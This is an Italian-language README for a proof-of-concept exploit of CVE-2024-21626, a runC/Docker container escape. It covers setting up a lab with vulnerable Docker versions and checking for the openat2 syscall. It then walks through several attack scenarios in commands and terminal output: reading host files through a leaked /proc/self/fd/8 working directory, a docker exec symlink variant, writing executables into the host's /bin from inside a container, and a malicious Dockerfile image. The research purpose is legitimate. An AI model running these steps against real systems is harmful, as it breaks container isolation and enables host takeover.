
Proof-of-concept exploit per CVE-2024-21626, una vulnerabilità di fuga da container Docker/runC. Dimostra l'accesso al filesystem host tramite manipolazione della directory di lavoro, con molteplici scenari di attacco e script di verifica.
Leggi il mio articolo completo per una spiegazione dettagliata qui.
Durante l'indagine su CVE-2024–21626, ho scoperto una vulnerabilità trascurata nelle versioni precedenti di Docker e runC. Per saperne di più su ciò che ho trovato, leggi il seguente articolo: “Esplorare vulnerabilità nascoste nelle versioni legacy di Docker: lezioni da CVE-2024–21626”.
Durante l'installazione non spuntare la casella per scaricare gli aggiornamenti di sistema.
Inserisci l'immagine CD delle Guest Additions
Apri il terminale nell'immagine CD montata
Esegui lo script VBoxLinuxAdditions.run
demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run
Configura il repository apt di Docker
# set up Docker's apt repository: add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
Trova e installa la versione giusta dei diversi componenti (docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin).
# search in the cache reposiroty the docker-ce available packages
apt-cache madison docker-ce | awk '{ print $3 }'
# setup the chosen version
VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy
# search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
apt-cache madison containerd.io | awk '{ print $3 }'
apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin
# install the packages
sudo apt install docker-ce=$VERSION_STRING \
docker-ce-cli=$VERSION_STRING \
containerd.io=1.6.4-1 \
docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy
Se i pacchetti sono troppo vecchi per essere trovati (vedi anche il vecchio repository online), o se non puoi usare il repository apt di Docker per installare Docker Engine, puoi scaricare il file deb per la tua release e installarlo manualmente. Vai su https://download.docker.com/linux/ubuntu/dists/ o usa i file deb presenti nel mio repository GitHub e installali.
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# install deb files
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb
sudo docker version
runc --version
containerd --version
uname -r
Per funzionare correttamente, la vulnerabilità necessita della presenza della syscall openat2. Controlla manualmente con il seguente comando:
grep openat2 /proc/kallsyms
Potrebbero esserci casi in cui è necessario verificare con il seguente script golang disponibile nel mio repository GitHub se la syscall openat2 è presente.
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# run testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.
Il binario è stato compilato con i seguenti flag
env GOOS=linux GOARCH=amd64 go build testOpenat2.go
Esegui checkVulnerability.sh e controlla se il file viene stampato nel terminale
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Exploit impostando la directory di lavoro su /proc/self/fd/
# run container with working directory to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
# read host filesystem files inside the container
root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

Exploit tramite docker exec:
Apri un terminale ed esegui i seguenti comandi
# terminal 1
# run container
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
Apri un altro terminale ed esegui il seguente comando
# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 120
Torna al primo terminale e accedi al filesystem del percorso dell'host
# terminal 1: find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
. irq kmsg kcore mdstat cpuinfo sysvipc softirqs bootconfig execdomains sysrq-trigger 15
.. net misc locks mounts devices version zoneinfo interrupts filesystems version_signature
fb sys mtrr swaps uptime ioports consoles buddyinfo kpagecount kpagecgroup self
fs tty scsi asound vmstat loadavg kallsyms diskstats kpageflags vmallocinfo thread-self
bus acpi stat crypto cgroups meminfo pressure key-users partitions pagetypeinfo 1
dma keys iomem driver cmdline modules slabinfo schedstat timer_list dynamic_debug 9
root@d98de5a852d7:/# cat /proc/9/cmdline
sleep120
# read host filesystem files
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc
# read container filesystem files
root@d98de5a852d7:/# cat /etc/hostname
d98de5a852d7

# Attack 3a is attack 1 but adapted to overwrite a host binary
# run container with the working direcotry to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.#
# write file in the host container
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF
# change chmod
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x 1 root root 40 mar 7 13:24 cve2024_21626
# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626
Hello CVE-2024-21626

# scenario 3b: host binary overwrite attack
# Attack 3b is attack 2 but adapted to overwrite a host binary
# terminal 1
# run container
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000
# terminal 1
# find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
. irq kmsg kcore mdstat cpuinfo sysvipc softirqs bootconfig execdomains sysrq-trigger 15
.. net misc locks mounts devices version zoneinfo interrupts filesystems version_signature
fb sys mtrr swaps uptime ioports consoles buddyinfo kpagecount kpagecgroup self
fs tty scsi asound vmstat loadavg kallsyms diskstats kpageflags vmallocinfo thread-self
bus acpi stat crypto cgroups meminfo pressure key-users partitions pagetypeinfo 1
dma keys iomem driver cmdline modules slabinfo schedstat timer_list dynamic_debug 9
root@d98de5a852d7:/# cat /proc/9/cmdline
sleep120
# write file in the host container
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF
# change chmod
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
/proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x 1 root root 40 mar 7 13:39 cve2024_21626
# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626
Hello CVE-2024-21626
Dato il seguente Dockerfile
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8
Costruisci ed esegui l'immagine
sudo docker build . -t devil-image
sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc
